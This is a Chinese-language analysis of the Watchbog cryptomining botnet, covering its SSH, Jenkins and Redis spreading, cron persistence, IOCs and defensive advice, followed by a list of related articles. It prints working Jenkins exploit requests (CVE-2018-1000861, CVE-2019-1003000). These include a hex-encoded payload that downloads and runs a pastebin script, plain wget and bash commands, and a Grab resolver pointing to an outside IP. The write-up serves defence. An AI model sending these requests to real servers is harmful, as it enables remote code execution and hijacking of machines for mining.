漏洞利用

Watchbog在做什么?

Watchbog僵尸网络为其所有者挖掘Monero加密货币

通过SSH进行横向移动

使用SSH进行横向扩散。使用网络日志可以看到大量的SSH流量

以下Bash脚本用于促进横向移动过程。检索受感染系统上的known_hosts文件的内容,然后尝试SSH到这些系统。还检查SSH密钥是否存在,并利用它们对known_hosts文件中的系统进行身份验证。如果成功则启动感染模块。

通过JENKINS和REDIS服务器进行横向移动

除了利用SSH进行横向移动之外,Watchbog还尝试利用Python脚本扫描主机子网上的开放Jenkins和Redis端口。如果脚本发现任何易受攻击的服务器,会尝试使用curl或wget命令从Pastebin检索有效的Payload并在目标上执行。

根据第71行的以下字符串,该脚本以CVE-2018-1000861为目标,这是Staple Web框架中的漏洞,适用于处理HTTP请求的Jenkins 2.138.1或2.145版本。

持久性机制

使用cron,dropper每小时调用Pastebins以获取新信息。下面的截图显示了Watchbog配置负责实现受感染系统持久性的cron作业的方式。

受害者机器上的Payload

CVE-2018-1000861 :

GET /securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=True&value=public class x{public x(){new String("776765742068747470733a2f2f706173746562696e2e636f6d2f7261772f42335235556e7768202d4f202f746d702f62616279".decodeHex()).execute()}} HTTP/1.1
Host: [victim_host]:[jenkins_port]

针对CVE-2019-1003000的攻击

GET /securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile?value=@GrabConfig(disableChecksums=true)%0a@GrabResolver(name=%27orange.tw%27,%20root=%27http://45.55.211.79/%27)%0a@Grab(group=%27tw.orange%27,%20module=%27poc%27,%20version=%278%27)%0aimport%20Orange; HTTP/1.1
Host: [victim_host]:[jenkins_port]

CVE-2018-1000861是Jenkins的Stapler Web框架中的漏洞,而CVE-2019-1003000是Script Security Plugin中的漏洞。

前CVE-2018-1000861有效负载中的十六进制编码部分下载并运行恶意shell命令:

···

wget https://pastebin.com/raw/B3R5Unwh -O /tmp/baby

bash /tmp/baby

···

包含的url指向另一个pastebin url(https://pastebin.com/raw/J6NdVBHq),它指向另一个。

恶意shell脚本的主要部分已编码并放在https://pastebin.com/raw/KGwfArMR中。

挖掘和持久性

在执行上述shell脚本期间,通过从以下URL下载(从$ mi_64解码)在受害者服务器上安装加密货币挖掘器

https://github.com/xmrig/xmrig/releases/download/v2.14.1/xmrig-2.14.1-xenial-x64.tar.gz

挖掘的配置文件如下:

恶意shell脚本通过将自身添加到crontab来维护持久性。

其他被篡改的crontab文件:

IOC

Hashes (SHA256):

b383d0fdfa5036ccfa5d9c2b43cbfd814bce8778978873057b86678e5295fc61 0b0567c9b45ea0a3ea4267001f0760ccdf2b8224fceaf8979d32fcceb2d6fb7a

3A6271A90D0F6CC8A2D31D45D931E8401F13F7377932BA07D871DC42F252B9CA

Domains:

aziplcr72qjhzvin[.]onion[.]to

安全建议

  • 内部使用服务不应暴露于互联网。使用适当的ACL或其他身份验证技术仅允许来自可信用户的访问。
  • 用户必须及时升级其软件,尤其是当软件供应商发布了与安全相关的建议时。

参考

对 Watchbog Botnet 渗透过程和 Payload 的分析的更多相关文章

  1. WEB安全番外第六篇--关于通过记录渗透工具的Payload来总结和学习测试用例

    背景: 在WEB安全的学习过程中,了解过了原理之后,就是学习各种Payload,这里面蕴藏着丰富的知识含量,是在基本上覆盖了漏洞原理之后的进一步深入学习的必经之路.无理是Burpsuite还是Sqlm ...

  2. Wireshark抓包分析TCP建立/释放链接的过程以及状态变迁分析

    Wireshark抓包分析TCP建立/释放链接的过程以及状态变迁分析 一.介绍计算机网络体系结构 1.计算机的网络体系结构 在抓包分析TCP建立链接之前首先了解下计算机的网络通信的模型,我相信学习过计 ...

  3. 端口渗透·网站渗透过程 --21 ,22,873,3306,6379,8080(8080端口是针对CMS的渗透)

    声明:文章渗透网站为模拟环境,文章只为利用过程 文章为信息收集和端口渗透两部分,21端口为ftp版本漏洞 8080端口为CMS的渗透 信息收集: ·使用扫描工具nmap ,PortScan 对整个网段 ...

  4. 记录一次坎坷的linux内网渗透过程瞎折腾的坑

    版权声明:本文为博主的原创文章,未经博主同意不得转载. 写在前面 每个人都有自己的思路和技巧,以前遇到一些linux的环境.这次找来一个站点来进行内网,写下自己的想法 目标环境 1.linux  2. ...

  5. hack the box -- sizzle 渗透过程总结,之前对涉及到域内证书啥的还不怎么了解

     把之前的笔记搬运过来 ---   1 开了443,用smbclient建立空连接查看共享 smbclient -N -L \\\\1.1.1.1 Department Shares Operatio ...

  6. 一句话下载总结(用于后渗透上传payload)

    利用ftp来下载payload文件 echo open 192.168.1.1 21> ftp.txt echo ftp>> ftp.txt echo bin >> ft ...

  7. 一次绕过防火墙获取RCE以及提权到root权限的渗透过程

    本文是关于Apache struts2 CVE-2013-2251是由于导致执行远程命令的影响而被高度利用的漏洞.简而言之, 通过操纵以“action:”/”redirect:”/”redirectA ...

  8. mysql渗透过程

    1 打开目标站点:www.xxx.com 2 注册账号并登录,大概找下注入点,没找到 3 用namp -A -T4 目标站点扫描开放的服务 发现mysql等 4 猜弱口令 + 字典  对mysql进行 ...

  9. Linux内核启动分析过程-《Linux内核分析》week3作业

    环境搭建 环境的搭建参考课件,主要就是编译内核源码和生成镜像 start_kernel 从start_kernel开始,才真正进入了Linux内核的启动过程.我们可以把start_kernel看做平时 ...

随机推荐

  1. Acwing P298 围栏

    Analysis ①首先将所有粉刷匠,按照必须刷的小木块Si从小到大排序. 上面这个操作为了保证我们可以顺序处理. ②我们可以设f[i][j]表示为,前i个粉刷匠,刷了前i个木块.可以有些木块选择不刷 ...

  2. jdango 2.x的url配置的改变

    新版本的url.py文件中,不在使用1.x的正则表达式,强制使用在程序启动的时候会提示: WARNINGS: ?: (2_0.W001) Your URL pattern '^*article/' h ...

  3. Subspace Subcode

    子码(subcode)的概念来自信息编码,不太容易理解.通常是子域编码(subfield subcode),也可以扩展到子空间编码(subspace subcode). 子空间或者子域编码的一个基本想 ...

  4. mysql 索引基本概念

    1. 什么是索引? 索引是一种数据结构,可以帮助我们快速的进行数据的查找. 2. 索引是个什么样的数据结构呢? 索引的数据结构和具体存储引擎的实现有关, 在MySQL中使用较多的索引有Hash索引,B ...

  5. [spring-boot] pom文件 spring-boot-starter-parent

    <?xml version="1.0" encoding="UTF-8"?> <project xmlns="http://mave ...

  6. linux xlearn安装

     机器学习中的又一个利器,广泛用于Kaggle或类似的数据比赛. xlearn的优势: 1.通用性好,包括主流的算法(lr, fm, ffm 等),用户不用再切换于不同软件之间 2.性能好,测试 xL ...

  7. 回声消除(AEC)原理

    一.前言 因为工作的关系,笔者从2004年开始接触回声消除(Echo Cancellation)技术,而后一直在某大型通讯企业从事与回声消除技术相关的工作,对回声消除这个看似神秘.高端和难以理解的技术 ...

  8. log4j实现日志自动清理功能

    log4j不支持自动清理功能,但是log4j2版本支持,log4j2是log4j的升级版,比logback先进. log4j升级为log4j2(不需要改动代码)https://blog.csdn.ne ...

  9. Hibernate Persistence Contexts

    Hibernate ORM 5.2.18.Final User Guidehttps://docs.jboss.org/hibernate/orm/5.2/userguide/html_single/ ...

  10. 写了一个具有future接口的rust测试代码

    写了一个具有future接口的rust测试代码 但没有实现future功能,内部是直接求值 struct Future<T> { t: T, } impl<T> Future& ...